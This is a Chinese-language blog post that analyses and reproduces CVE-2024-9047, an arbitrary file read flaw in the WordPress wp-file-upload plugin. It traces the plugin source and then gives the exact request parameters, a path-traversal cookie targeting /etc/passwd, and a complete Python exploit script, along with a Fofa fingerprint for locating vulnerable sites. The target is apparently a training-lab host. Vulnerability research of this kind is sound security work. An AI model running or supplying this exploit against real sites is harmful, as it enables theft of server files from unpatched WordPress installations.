CVE-2024-9047复现及成因分析
第一次从源码层面逐步分析一个cve,头秃,但好在捋出来了,写得不好,望各位师傅见谅。
CVE-2024-9047 是一个影响 WordPress 插件 wp-file-upload 的严重漏洞,允许攻击者在前台读取和删除任意文件。漏洞存在于插件版本 <= 4.24.11 中的 wfu_file_downloader.php 文件中。攻击者可以通过构造特定的请求,利用 fopen 函数读取服务器上的敏感文件。
- 版本:<= 4.24.11
- Fofa指纹:body=”wp-content/plugins/wp-file-upload”
成因分析
安装了WordPress File Upload插件的系统,在其wp-content/plugins/wp-file-upload
目录下的wfu_file_downloader.php 中调用了 wfu_fopen_for_downloader 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function wfu_fopen_for_downloader($filepath, $mode) { if (substr($filepath, 0, 7) != "sftp://") return @fopen($filepath, $mode); $ret = false; $ftpinfo = wfu_decode_ftpurl($filepath); if ($ftpinfo["error"]) return $ret; $data = $ftpinfo["data"]; { $conn = @ssh2_connect($data["ftpdomain"], $data["port"]); if ($conn && @ssh2_auth_password($conn, $data["username"], $data["password"])) { $sftp = @ssh2_sftp($conn); if ($sftp) { $contents = @file_get_contents("ssh2.sftp://" . intval($sftp) . $data["filepath"]); $stream = fopen('php://memory', 'r+'); fwrite($stream, $contents); rewind($stream); $ret = $stream; } } } return $ret; }
|
该方法中存在fopen函数,可以利用其进行文件读取,因此我们需要找到$filepath
参数是否是可控的,wfu_file_downloader.php部分源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| <?php if ( !defined("ABSWPFILEUPLOAD_DIR") ) DEFINE("ABSWPFILEUPLOAD_DIR", dirname(__FILE__).'/'); if ( !defined("WFU_AUTOLOADER_PHP50600") ) DEFINE("WFU_AUTOLOADER_PHP50600", 'vendor/modules/php5.6/autoload.php'); include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_functions.php' ); include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_security.php' ); $handler = (isset($_POST['handler']) ? $_POST['handler'] : (isset($_GET['handler']) ? $_GET['handler'] : '-1')); $session_legacy = (isset($_POST['session_legacy']) ? $_POST['session_legacy'] : (isset($_GET['session_legacy']) ? $_GET['session_legacy'] : '')); $dboption_base = (isset($_POST['dboption_base']) ? $_POST['dboption_base'] : (isset($_GET['dboption_base']) ? $_GET['dboption_base'] : '-1')); $dboption_useold = (isset($_POST['dboption_useold']) ? $_POST['dboption_useold'] : (isset($_GET['dboption_useold']) ? $_GET['dboption_useold'] : '')); $wfu_cookie = (isset($_POST['wfu_cookie']) ? $_POST['wfu_cookie'] : (isset($_GET['wfu_cookie']) ? $_GET['wfu_cookie'] : '')); if ( $handler == '-1' || $session_legacy == '' || $dboption_base == '-1' || $dboption_useold == '' || $wfu_cookie == '' ) die(); else { $GLOBALS["wfu_user_state_handler"] = wfu_sanitize_code($handler); $GLOBALS["WFU_GLOBALS"]["WFU_US_SESSION_LEGACY"] = array( "", "", "", ( $session_legacy == '1' ? 'true' : 'false' ), "", true ); $GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_BASE"] = array( "", "", "", wfu_sanitize_code($dboption_base), "", true ); $GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_USEOLD"] = array( "", "", "", ( $dboption_useold == '1' ? 'true' : 'false' ), "", true ); if ( !defined("WPFILEUPLOAD_COOKIE") ) DEFINE("WPFILEUPLOAD_COOKIE", wfu_sanitize_tag($wfu_cookie)); wfu_download_file(); }
function wfu_download_file() { global $wfu_user_state_handler; $file_code = (isset($_POST['file']) ? $_POST['file'] : (isset($_GET['file']) ? $_GET['file'] : '')); $ticket = (isset($_POST['ticket']) ? $_POST['ticket'] : (isset($_GET['ticket']) ? $_GET['ticket'] : '')); if ( $file_code == '' || $ticket == '' ) die(); wfu_initialize_user_state(); $ticket = wfu_sanitize_code($ticket); $file_code = wfu_sanitize_code($file_code); if ( !WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket) || time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ) { WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket); WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); echo 666; wfu_update_download_status($ticket, 'failed'); die(); } WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket); if ( substr($file_code, 0, 10) == "exportdata" ) { $file_code = substr($file_code, 10); $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); $disposition_name = "wfu_export.csv"; $delete_file = true; } elseif ( substr($file_code, 0, 8) == "debuglog" ) { $file_code = substr($file_code, 8); $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); $disposition_name = wfu_basename($filepath); $delete_file = false; } else { $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); if ( $filepath === false ) { WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); wfu_update_download_status($ticket, 'failed'); die(); } $filepath = wfu_flatten_path($filepath); if ( substr($filepath, 0, 1) == "/" ) $filepath = substr($filepath, 1); $filepath = ( substr($filepath, 0, 6) == 'ftp://' || substr($filepath, 0, 7) == 'ftps://' || substr($filepath, 0, 7) == 'sftp://' ? $filepath : WFU_USVAR_downloader('wfu_ABSPATH').$filepath ); $disposition_name = wfu_basename($filepath); $delete_file = false; } WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); if ( !wfu_file_exists_for_downloader($filepath) ) { wfu_update_download_status($ticket, 'failed'); die('<script language="javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist') ? WFU_USVAR_downloader('wfu_browser_downloadfile_notexist') : 'File does not exist!' ).'");</script>'); }
$open_session = false; @set_time_limit(0); $fsize = wfu_filesize_for_downloader($filepath); if ( $fd = wfu_fopen_for_downloader($filepath, "rb") ) { $open_session = ( ( $wfu_user_state_handler == "session" || $wfu_user_state_handler == "" ) && ( function_exists("session_status") ? ( PHP_SESSION_ACTIVE !== session_status() ) : ( empty(session_id()) ) ) ); if ( $open_session ) session_start(); header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"".$disposition_name."\""); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-length: $fsize"); $failed = false; while( !feof($fd) ) { $buffer = @fread($fd, 1024*8); echo $buffer; ob_flush(); flush(); if ( connection_status() != 0 ) { $failed = true; break; } } fclose ($fd); } else $failed = true; if ( $delete_file ) wfu_unlink_for_downloader($filepath); if ( !$failed ) { wfu_update_download_status($ticket, 'downloaded'); if ( $open_session ) session_write_close(); die(); } else { wfu_update_download_status($ticket, 'failed'); if ( $open_session ) session_write_close(); die('<script type="text/javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_failed') ? WFU_USVAR_downloader('wfu_browser_downloadfile_failed') : 'Could not download file!' ).'");</script>'); } }
|
一步一步跟一下:
第一步,找到调用了wfu_fopen_for_downloader方法的位置

第二步,往前查看对$filepath
参数的获取操作,找到我们可控的点

可以看到,$filepath为'wfu_storage_'.$file_code
调用了方法WFU_USVAR_downloader后的结果
第三步,进入WFU_USVAR_downloader看其做了什么

如果全局变量 $wfu_user_state_handler 等于 “dboption”,且 WFU_VAR(“WFU_US_DBOPTION_BASE”) == “cookies”,则直接从 $_COOKIE 数组中返回变量 $var 的值。否则,从 session 中获取变量 $var 的值。
也就是说,此处返回的内容为cookie中的键为'wfu_storage_'.$file_code
的值,因此我们需要在cookie中传入一个wfu_storage_xxx=(想要读取的路径)
第四步,继续查看$filecode
,可以看到是由我们使用file参数传入的

第五步,梳理中途的一些会导致程序die的限制
1
| if ( $handler == '-1' || $session_legacy == '' || $dboption_base == '-1' || $dboption_useold == '' || $wfu_cookie == '' ) die();
|
1
| if ( $file_code == '' || $ticket == '' ) die();
|
1 2 3 4
| if ( !WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket) || time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ){ ...... die(); }
|
1 2 3 4
| if ( !wfu_file_exists_for_downloader($filepath) ) { wfu_update_download_status($ticket, 'failed'); die('<script language="javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist') ? WFU_USVAR_downloader('wfu_browser_downloadfile_notexist') : 'File does not exist!' ).'");</script>'); }
|
在构造payload的时候,需要绕过以上限制,基本就是有一些键值不能为空的情况,这几个值都在前面有获取,通过GET或POST方法。
需要注意的是time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket)
也会die,因此需要实时获取时间,编写payload:
参数:
1
| file=yosheep&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=1&wfu_cookie=1&ticket=yosheep
|
cookie:
1
| Cookie: wfu_storage_yosheep=/../../../../../../etc/passwd[[name]]; wfu_download_ticket_yosheep={time_temp}; wfu_ABSPATH=/var/www/html/;
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests import time
def exploit(): time_temp = str(int(time.time())) url = "http://eci-2ze0wroruql0e90m2opc.cloudeci1.ichunqiu.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php" get_cont = ('file=yosheep' '&handler=dboption' '&session_legacy=1' '&dboption_base=cookies' '&dboption_useold=1' '&wfu_cookie=1' '&ticket=yosheep') headers = { "User-Agent": "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Cookie": f"wfu_storage_yosheep=/../../../../../../etc/passwd[[name]];" f" wfu_download_ticket_yosheep={time_temp};" f" wfu_ABSPATH=/var/www/html/;" }
response = requests.get(url + "?" + get_cont, headers=headers) print(response.text)
if __name__ == '__main__': exploit()
|

此处省略了一些,比如wfu_ABSPATH需要包含wp-load.php文件,而该文件在根目录下,由于仅为需要满足的步骤,此处不多赘述。